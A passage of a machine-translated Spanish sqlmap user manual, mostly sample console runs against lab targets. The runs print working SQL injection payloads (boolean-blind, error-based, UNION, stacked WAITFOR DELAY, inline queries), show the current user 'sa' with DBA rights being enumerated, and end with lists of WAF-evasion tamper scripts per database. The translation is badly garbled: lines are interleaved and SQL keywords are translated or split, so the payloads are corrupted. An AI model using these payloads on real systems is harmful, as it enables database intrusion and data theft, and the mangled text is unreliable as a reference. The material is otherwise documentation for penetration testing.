sk (1)? [Y / n] Y
[Xx: xx: 14] 'basado en booleano Y ciega - WHERE o HAVING' [INFO] pruebas
[Xx: xx: 14] [INFO] GET parámetro "id" es "y ciega basada en booleano - WHERE o
HAVI
cláusula NG 'inyectable
[Xx: xx: 14] Las pruebas de 'MySQL> [INFO] = 5.0 y basado en el error - cláusula
WHERE o HAVING
'
[Xx: xx: 14] [INFO] GET parámetro 'id' es 'MySQL> = 5.0 y basada en el error -
WHERE o
cláusula HAVING inyectable '
[XX: XX: 14] [info] pruebas 'inline' consultas MySQL
[xx: xx: 14] [info] ensayo »MySQL 5.0.11> consultas apilados '
[Xx: xx: 14] [INFO] pruebas 'MySQL <5.0.12 consultas apiladas (consulta pesada)'
[Xx: xx: 14] [INFO] pruebas 'MySQL> 5.0.11 y ciega basada en el tiempo'
[Xx: xx: 24] [INFO] GET parámetro 'id' es 'MySQL> 5.0.11 y ciega basada en el
tiempo' en
jectable
[xx: xx: 24] [info] pruebas 'MySQL consulta de unión (NULL) - del 1 al 20
columnas'
[Xx: xx: 24] [INFO] rangos que se extienden de forma automática para la consulta
UNION tecn inyección
pruebas iQue ya que hay al menos otra técnica de inyección potencial encontrado
[Xx: xx: 24] [INFO] ORDER BY técnica parece ser utilizable. Esto debería reducir
la
el tiempo necesario para encontrar el número correcto de columnas de la
consulta. que se extiende de forma automática t

que
[Xx:cubre la prueba
xx: 24] [INFO] actual
URL de de la técnica
destino parecede inyección
tener consulta
3 columnas en laUNION
consulta
[Xx: xx: 24] [INFO] GET parámetro 'id' es 'MySQL consulta de unión (NULL) - del
1 al 20 colu
MNS inyectable '
[...]

Seleccionar (o saltar) pruebas de cargas y / o


títulos
Opción --test-filtro
En caso de que desea filtrar las pruebas por parte de sus cargas útiles y / o títulos
que puede utilizar esta opción. Por ejemplo, si desea probar todas las cargas que
tienen FILA palabra clave dentro, se puede utilizar --test-filter = FILA .
Ejemplo frente a un objetivo de MySQL:
$ Python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --b
\
atch --test-filter = FILA
[...]
[Xx: xx: 39] [INFO] GET parámetro "id" es dinámico
[Xx: xx: 39] [ADVERTENCIA] valor reflectante (s) encontrado y filtrado a cabo
[Xx: xx: 39] [INFO] heurística (básicos) prueba muestra que se interponen
parámetro 'id' podría ser
inyectable (posible DBMS: 'MySQL')
[Xx: xx: 39] [INFO] pruebas de inyección SQL en GET parámetro 'id'
[Xx: xx: 39] Las pruebas de 'MySQL> [INFO] = 4,1 y basados en los errores -
cláusula WHERE o HAVING
'
[Xx: xx: 39] [INFO] GET parámetro 'id' es 'MySQL> = 4.1 y basada en el error -
WHERE o
cláusula HAVING inyectable '
GET parámetro 'id' es vulnerable. ¿Quieres seguir midiéndose los demás (si lo
hay
)? [S / N] N
sqlmap identificó los siguiente s puntos de inyección con un total de 3 HTTP (s)
reque
STS:
---
Lugar: GET
Parámetro: id
a base de error: Tipo
Título: MySQL> = 4.1 y basada en el error - WHERE o HAVING
Carga útil: id = 1 y la fila (4959,4971)> (SELECT COUNT (*), CONCAT
(0x3a6d70623a, (SELEC
T (C
CUANDO ASE (4959 = 4959) then 1 else 0 END)), 0x3a6b7a653a, PISO (RAND (0) *
2)) x FRO
SRA
ELECTO 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470) GROUP BY
x)
---
[...]

En caso--test-skip
Opción = TEST
de que desea omitir las pruebas por parte de sus cargas útiles y / o títulos
que puede utilizar esta opción. Por ejemplo, si desea omitir todas las cargas que
tienen REFERENCIA palabra clave dentro, se puede utilizar --test-skip = PUNTO DE
REFERENCIA .

shell interactiva sqlmap


Cambiar: --sqlmap-shell
Mediante el uso de interruptor de --sqlmap-shell de usuario será presentado con la
cáscara sqlmap interactiva que cuenta la historia de todas las carreras anteriores
con opciones y / o interruptores usados:
$ Python sqlmap.py --sqlmap-shell
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique =
\
--batch BEA
_
___ ___ | | _____ ___ ___ {1.0-dev-2188502 }
| _ - | . | | | . '| . |
| ___ | _ | _ | _ | _ | _ | __, | _ |
| _ | | _ | http://sqlmap.org

[!] Aviso legal: Uso de sqlmap para atacar objetivos sin previo mutuo
consentimiento es ilegal. Es responsabilidad del usuario final a obedecer todas
las leyes
locales, estatales y las leyes federales. Los desarrolladores no asumen ninguna
responsabilidad y no son respon
sable de cualquier mal uso o daño causado por este programa

[*] A partir de las xx: xx: 11

[Xx: xx: 11] [INFO] comprobar la conexión a la URL de destino


[Xx: xx: 12] [INFO] prueba si la URL de destino es estable
[Xx: xx: 13] [INFO] URL de destino es estable
[Xx: xx: 13] [INFO] prueba si el parámetro GET "artista" es dinámico
[Xx: xx: 13] [INFO] confirmando "artista" que el parámetro GET es dinámico
[Xx: xx: 13] [INFO] Parámetro de "artista" es dinámico
[Xx: xx: 13] [INFO] heurística (básicos) prueba muestra que se interponen
parámetro "artista" podría
ser inyectable (posible DBMS: 'MySQL')
[Xx: xx: 13] [INFO] pruebas de inyección SQL en "artista" parámetro GET
parece que el back-end MySQL DBMS es ''. ¿Quieres saltar cargas útiles de ensayo
sp
ecific para otros DBMSes? [Y / n] Y
para las pruebas restantes, ¿desea incluir todas las pruebas para 'MySQL' que se
extiende
proporcionado (1) Los valores de nivel (1) y el riesgo? [Y / n] Y
[Xx: xx: 13] 'basado en booleano Y ciega - WHERE o HAVING' [INFO] pruebas
[Xx: xx: 13] [INFO] GET parámetro 'artista' parece ser 'Y ciega basada en
booleano -
WHERE o HAVING 'inyectable
[Xx: xx: 13] [INFO] pruebas 'MySQL> = 5.0 y basada en el error - Cuando, en
vista, B ORDEN

Y o cláusula
[Xx: xx: 13] GROUP
[INFO]BY '
pruebas 'MySQL> = 5.0 o basado en el error - Cuando, en
vista, ORDER BY
o cláusula GROUP BY '
[Xx: xx: 13] [INFO] pruebas 'MySQL> = 5.1 y basada en el error - Cuando, en
vista, B ORDEN
Y o cláusula GROUP BY (EXTRACTVALUE) '
[Xx: xx: 13] [INFO] pruebas 'MySQL> = 5.1 o basado en el error - Cuando, en
vista, ORDER BY
o cláusula GROUP BY (EXTRACTVALUE) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.1 y basada en el error - Cuando, en
vista, B ORDEN
Y o cláusula GROUP BY (UPDATEXML) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.1 o basado en el error - Cuando, en
vista, ORDER BY
o cláusula GROUP BY (UPDATEXML) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.5 y basada en el error - Cuando, en
vista, B ORDEN
Y o cláusula GROUP BY (EXP) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.5 o basado en el error - WHERE, HAVING
(E
XP) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.5 y basada en el error - Cuando, en
vista, B ORDEN
Y o cláusula GROUP BY (BIGINT sin signo) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.5 o basado en el error - WHERE, HAVING
(B
IGINT signo) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 4.1 y basada en el error - Cuando, en
vista, B ORDEN
Y o cláusula GROUP BY '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 4.1 o basado en el error - WHERE, HAVING'
[Xx: xx: 14] [INFO] pruebas 'MySQL o basados en el error - WHERE o HAVING'
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.1 basado en el error - PROCEDIMIENTO DE
ANÁLISIS (EXTRACTO
VALOR)'
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.0 error basado en - Parámetro
reemplazar'
[Xx: xx: 14]
reemplazar [INFO] pruebas 'MySQL> = 5.1 basado en el
(EXTRACTO error - Parámetro
VALOR)'
[Xx: xx: 15] [INFO] pruebas 'MySQL> = 5.1 basado en el error - Parámetro
reemplazar (UPDATEX
ML) '
[Xx: xx: 15] [INFO] pruebas 'MySQL> = 5.5 a errores basa - Parámetro reemplazar
(EXP)'
[Xx: xx: 15] [INFO] pruebas 'MySQL> = 5.5 basado en el error - Parámetro
reemplazar (BIGINT
NO FIRMADO)'
[xx: xx: 15] [info] pruebas 'UNION Genérico consulta (NULL) - del 1 al 20
columnas'
[Xx: xx: 15] [INFO] rangos que se extienden de forma automática para la consulta
UNION tecn inyección
pruebas iQue ya que hay al menos otra técnica (potencial) encontrad o
[Xx: xx: 15] [INFO] ORDER BY técnica parece ser utilizable. Esto debería reducir

la
el tiempo necesario para encontrar el número correcto de columnas de la
consulta. que se extiende de forma automática t
que cubre la prueba actual de la técnica de inyección consulta UNION
[Xx: xx: 15] [INFO] URL de destino parece tener 3 columnas en la consulta
[Xx: xx: 16] [INFO] Parámetro de "artista" es "UNIÓN Genérico consulta (NULL) -
del 1 al 2
0 inyectable columnas '
Parámetro de la "artista" es vulnerable. ¿Quieres seguir midiéndose los demás
(si
alguna)? [S / N] N
sqlmap identificó el siguiente punto (s) de inyección con un total de 39 HTTP
(s) de re
misiones:
---
Parámetro: artista (GET)
Tipo: ciega a base booleana
Título: Y booleana basada en la ciega - WHERE o HAVING
Carga útil: Artista = 1 AND 5707 = 5707

Tipo: consulta UNION


Título: consulta UNION Genérico (NULL) - 3 columnas
Carga útil: Artista = -7,983 UNION ALL SELECT CONCAT
(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL, NULL-- -
---
[Xx: xx: 16] [INFO] MySQL prueba
[Xx: xx: 16] [INFO] confirmando MySQL
[Xx: xx: 16] [INFO] el back-end DBMS es MySQL
La tecnología de aplicaciones web: Nginx, PHP 5.3.10
back-end de DBMS: MySQL> = 5.0.0
[Xx: xx: 16] [INFO] datos captados registran en archivos de texto en
"/home/stamparm/.sqlma
p / salida / testphp.vulnweb.c om '
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner
_
___ ___ | | _____ ___ ___ {1.0-dev-2188502 }
| ___
| _ - |
| _
. |
| _
| |
| _
. |
'|_.||_ | __, | _ |
| _ | | _ | http://sqlmap.org

[!] Aviso legal: Uso de sqlmap para atacar objetivos sin previo mutuo
consentimiento es ilegal. Es responsabilidad del usuario final a obedecer todas
las leyes
locales, estatales y las leyes federales. Los desarrolladores no asumen ninguna
responsabilidad y no son respon
sable de cualquier mal uso o daño causado por este programa

[*] A partir de las xx: xx: 25

[Xx: xx: 26] [INFO] reanudar 'mysql' back-end DBMS


[Xx: xx: 26] [INFO] comprobar la conexión a la URL de destino
sqlmap reanudó el siguiente punto (s) de inyección de sesión almacenada:
---

Parámetro: artista
Tipo: ciega (GET)booleana
a base
Título: Y booleana basada en la ciega - WHERE o HAVING
Carga útil: Artista = 1 AND 5707 = 5707

Tipo: consulta UNION


Título: consulta UNION Genérico (NULL) - 3 columnas
Carga útil: Artista = -7,983 UNION ALL SELECT CONCAT
(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f68 61466e697a5069,0x716a786a71),
NULL, NULL-- -
---
[Xx: xx: 26] [INFO] el back-end DBMS es MySQL
[Xx: xx: 26] [INFO] bandera ir a buscar
La tecnología de aplicaciones web: Nginx, PHP 5.3.10
back-end DBMS sistema operativo: Linux Ubuntu
DBMS de back-end: MySQL 5
banner: '5.1.73-0ubuntu0.10.04.1'
[Xx: xx: 26] [INFO] datos captados registran en archivos de texto en
"/home/stamparm/.sqlma
p / salida / testphp.vulnweb.c om '
sqlmap-shell> exit

sencillo asistente para los usuarios principiantes


Cambiar: --wizard
Para los usuarios principiantes hay una interfaz de asistente que utiliza un sencillo
flujo de trabajo con el menor posible de preguntas. Si el usuario simplemente entra
URL de destino y utiliza respuestas por defecto (por ejemplo, pulsando Enter ) que
debe tener un entorno de ejecución sqlmap configurar correctamente por el final
del flujo de trabajo.
Ejemplo frente a un objetivo de Microsoft SQL Server:
$ Python sqlmap.py --wizard

sqlmap / 1.0-dev-2defc30 - inyección SQL automática y una herramienta de


basehttp://sqlmap.org
de datos pública de adquisición

[!] Aviso legal: Uso de sqlmap para atacar objetivos sin previo mutuo
consentimiento es ilegal. Es responsabilidad del usuario final a obedecer todas
las leyes
locales, estatales y las leyes federales. Los desarrolladores no asumen ninguna
responsabilidad y no son respon
sable de cualquier mal uso o daño causado por este programa

[*] A partir de las xx: xx: 26

Por favor, introduzca la URL de destino completo (-u):


http://192.168.21.129/sqlmap/mssql/iis/get_in
t.asp? id = 1
datos POST (--Hojas) [Enter para Ninguno]:

dificultad
[1] Normal para inyección (--level / - riesgo). Por favor seleccione:
(predeterminado)
[2] Medium
[3] duro
> 1
Enumeración (--banne r / - actual del usuario / etc). Por favor seleccione:
[1] básico (por defecto)
[2] Inteligente
[3] Todos
> 1

sqlmap se está ejecutando, por favor espere ..

prueba heurística (análisis) mostró que el DBMS de back-end podrían ser


"Microsoft SQL S
erver '. ¿Quieres saltar cargas útiles de ensayo específicos para otros DBMS? [Y
/ n] Y
¿desea incluir todas las pruebas para 'Microsoft SQL Server' que se extiende
proporcionado l
evelparámetro
GET (1) y el 'id'
riesgo
es(1)? [Y / n] ¿Quieres
vulnerable. Y seguir midiéndose los demás (si lo
hay
)? [S / N] N
sqlmap identificó los siguiente s puntos de inyección con un total de 25 HTTP (s)
requ
EST:
---
Lugar: GET
Parámetro: id
Tipo: ciega a base booleana
Título: Y booleana basada en la ciega - WHERE o HAVING
Carga útil: id = 1 AND 2986 = 2986

a base de error: Tipo


Título: Microsoft SQL Server / Sybase y basada en el error - WHERE o HAVING
Carga útil: id = 1 AND 4847 = CONVERTIR (INT, (CHAR (58) + CHAR (118) + CHAR
(114) + CHAR (100) + C
HAR (58) + (SELECT (CASO CUANDO (4847 = 4847) ENTONCES CHAR (49) ELSE CHAR (48)
FIN))
) + CHAR
+ CHAR (58
(111) + CHAR (109) + CHAR (113) + CHAR (58)))

Tipo: consulta UNION


Título: consulta UNION Genérico (NULL) - 3 columnas
Carga útil: id = 1 UNION ALL SELECT NULL, NULL, CHAR (58) + CHAR (118) +
CHAR (114) + CHAR (1
00) + CHAR (58) + CHAR (70) + CHAR (79) + CHAR (118) + CHAR (106) + CHAR (87) +
CHAR (101) + CHAR (119) +
CHAR (115) + CHAR (114) + CHAR (77) + CHAR (58) + CHAR (111) + CHAR (109) + CHAR
(113) + CHAR (58) -

Tipo: apilada consultas


Título: consultas de Microsoft SQL Server / Sybase apiladas
Carga útil: id = 1; WAITFOR RETRASO '0: 0: 5' -

Tipo: Y / O-tiempo basado ciegos

ciega basadaid
Carga útil: en= el tiempo-Microsoft
1 WAITFOR SQL0:
RETRASO '0: Server
5' - / Sybase: Título

Tipo: consulta en línea


Título: / Sybase consultas en línea de Microsoft SQL Server
Carga útil: id = (SELECT CHAR (58) + CHAR (118) + CHAR (114) + CHAR (100) +
CHAR (58) + (SELECT
(CASO CUANDO (6382 = 6382) ENTONCES CHAR (49) ELSE CHAR (48) FIN)) + CHAR (58) +
CHAR (111) + CHAR
(109) + CHAR (113) + CHAR (58))
---
sistema operativo del servidor Web: Windows XP
La tecnología de aplicaciones web: ASP, Microsoft IIS 5.1
back-end sistema operativo DBMS: Windows XP Service Pack 2
DBMS de back-end: Microsoft SQL Server 2005
bandera:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 de de 2005 00:33:37
DerechosEdition
Express de autoren (c) 1988-2005
Windows NT 5.1Microsoft Corporation
(Build 2600: Service Pack 2)
---
usuario actual: 'sa'
base de datos actual: 'testdb'
DBA usuario actual es: Verdadero

[*] Cerrar desde xx: xx: 52

MySQL

 space2randomblank,
 unionalltounion
 unmagicquotes
 versionedkeywords
 versionedmorekeywords

xforwardedforbetween
 bluecoat
 charencode
 charunicodeencode
 concat2concatws
 equaltolike
 greatest
 halfversionedmorekeywords
 ifnull2ifisnull
 space2morehash
 space2mysqldash
 space2plus
 modsecurityversioned
 modsecurityzeroversioned


multiplespaces
securesphere
 space2comment
 space2hash
 nonrecursivereplacement
 percentage
 randomcase

MSSQL:

 sp_password
 space2comment
 space2dash
 space2mssqlblank
 space2mysqldash
 space2plus


space2randomblank
charencode
 charunicodeencode
 equaltolike
 greatest
 unionalltounion
 unmagicquotes
 multiplespaces
 nonrecursivereplacement
 percentage
 randomcase
 securesphere

MSAccess:

 modsecurityversioned
 modsecurityzeroversioned
 equaltolike
 greatest
 halfversionedmorekeywords
 nonrecursivereplacement
 percentage
 randomcase
 securesphere
 between
 bluecoat
 charencode
 charunicodeencode
 concat2concatws
 space2comment
 space2hash


space2morehash
space2mysqldash
 space2plus
 space2randomblank
 unionalltounion
 unmagicquotes
 versionedkeywords
 versionedmorekeywords
 ifnull2ifisnull
 multiplespaces

PostgreSQL:

 xforwardedfor
 space2comment
 space2plus


space2randomblank
between
 charencode
 charunicodeencode
 equaltolike
 greatest
 multiplespaces
 nonrecursivereplacement
 percentage
 randomcase
 securesphere
 between

SQLite:

 space2plus
 unionalltounion
 unmagicquotes
 xforwardedfor
 ifnull2ifisnull
 randomcase
 securesphere
 space2comment
 space2dashmmultiplespaces
 nonrecursivereplacement

S-ar putea să vă placă și